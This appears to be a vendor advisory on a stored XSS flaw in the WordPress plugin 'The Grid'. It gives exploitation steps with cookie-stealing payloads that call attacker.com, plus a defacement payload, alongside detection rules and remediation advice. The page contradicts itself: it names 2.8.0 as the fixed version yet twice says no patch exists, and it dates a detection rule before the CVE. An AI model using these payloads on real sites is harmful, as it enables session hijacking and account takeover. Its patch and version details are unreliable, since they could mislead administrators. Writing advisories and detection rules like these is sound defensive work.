CVE-2026-24370
Executive Summary
CVE-2026-24370 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin "The Grid" by Theme-one, in versions prior to 2.8.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into grid items. When an administrator or other user views the compromised grid, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the impact is amplified in multi-tenant or high-traffic WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is part of the WordPress plugin supply chain. The Grid is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for any updates from the vendor. Since no patch is currently available, organizations should consider removing or disabling the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): Low – Attacker needs contributor-level access.
- User Interaction (UI): Required – Victim must view the malicious grid.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited ability to disrupt service.
Threat Level: Medium. While the CVSS score is moderate, the prevalence of WordPress and the lack of a patch elevate the risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the grid item creation and editing functionality of The Grid plugin. When a user with contributor-level access or higher creates or edits a grid item, the plugin fails to sanitize or escape user-supplied input before storing it in the database. Specifically, fields such as item titles, descriptions, or custom HTML content are not properly neutralized.
Attack Flow:
- An attacker authenticates as a contributor or higher.
- The attacker creates a new grid item or edits an existing one.
- The attacker injects a malicious payload into an input field, e.g.,
<script>alert(document.cookie)</script>. - The plugin stores the payload in the WordPress database without sanitization.
- When an administrator or any user views the grid page, the payload is rendered and executed in their browser.
Root Cause: The plugin uses echo or the_content filter without applying WordPress escaping functions like esc_html(), wp_kses(), or esc_attr().
Vulnerable vs. Patched Code
Vulnerable Code (The Grid < 2.8.0):
// In a template file or shortcode handler
echo '<div class="grid-item">' . $item_title . '</div>';
The $item_title variable is output directly without sanitization.
Patched Code (The Grid >= 2.8.0 - hypothetical):
// Properly escaped output
echo '<div class="grid-item">' . esc_html( $item_title ) . '</div>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with The Grid plugin version < 2.8.0.
- A user account with contributor-level privileges or higher.
Step-by-Step Exploitation:
- Log in to WordPress as a contributor.
- Navigate to The Grid → Add New Item.
- In the Title field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Fill in other required fields and publish the item.
- Wait for an administrator to view the grid page, or share the link with the target.
- The script executes, sending the victim's cookies to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress logs for unusual grid item creation or editing by low-privileged users.
- Review database entries in
wp_postmetaor custom tables for<script>tags. - Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to grid-related endpoints.
Hunting Query (SQL):
SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%' AND meta_key LIKE '%grid%';
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown domains containing cookie data.
- Suspicious
Refererheaders pointing to grid pages.
- Host IOCs:
- Presence of
<script>tags in WordPress database fields related to The Grid. - Unexpected JavaScript files in
wp-content/uploads/or plugin directories.
- Presence of
- File IOCs:
- Modified plugin files (check file integrity via MD5 hashes).
- Log IOCs:
- Repeated POST requests to
/wp-admin/admin-ajax.phpwith grid-related actions. - User agent strings indicating automated exploitation tools.
- Repeated POST requests to
Detection Engineering
YARA Rule
rule CVE_2026_24370_Stored_XSS {
meta:
description = "Detects stored XSS payloads in The Grid plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-24370"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$grid_meta = /_grid_item_/ nocase
condition:
$xss_payload and $grid_meta
}
Sigma Rule
title: Stored XSS in The Grid Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via The Grid plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url|contains: '/wp-admin/admin-ajax.php'
http.body|contains: 'action=the_grid_save_item'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in grid items (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-24370 Stored XSS Payload in The Grid"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=the_grid_save_item"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove The Grid plugin until a patch is released.
- Review and clean any existing grid items for malicious content.
- Change all WordPress admin passwords if compromise is suspected.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce least privilege – restrict contributor-level access.
- Use a security plugin (e.g., Wordfence) to monitor file changes and block malicious requests.
- Regularly audit WordPress plugins and themes for vulnerabilities.
Patch Status: No official patch is available. Monitor the vendor's website or the WordPress plugin repository for updates.
Valters IT – DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 4941043F9D4C77D2CB0451AE] */}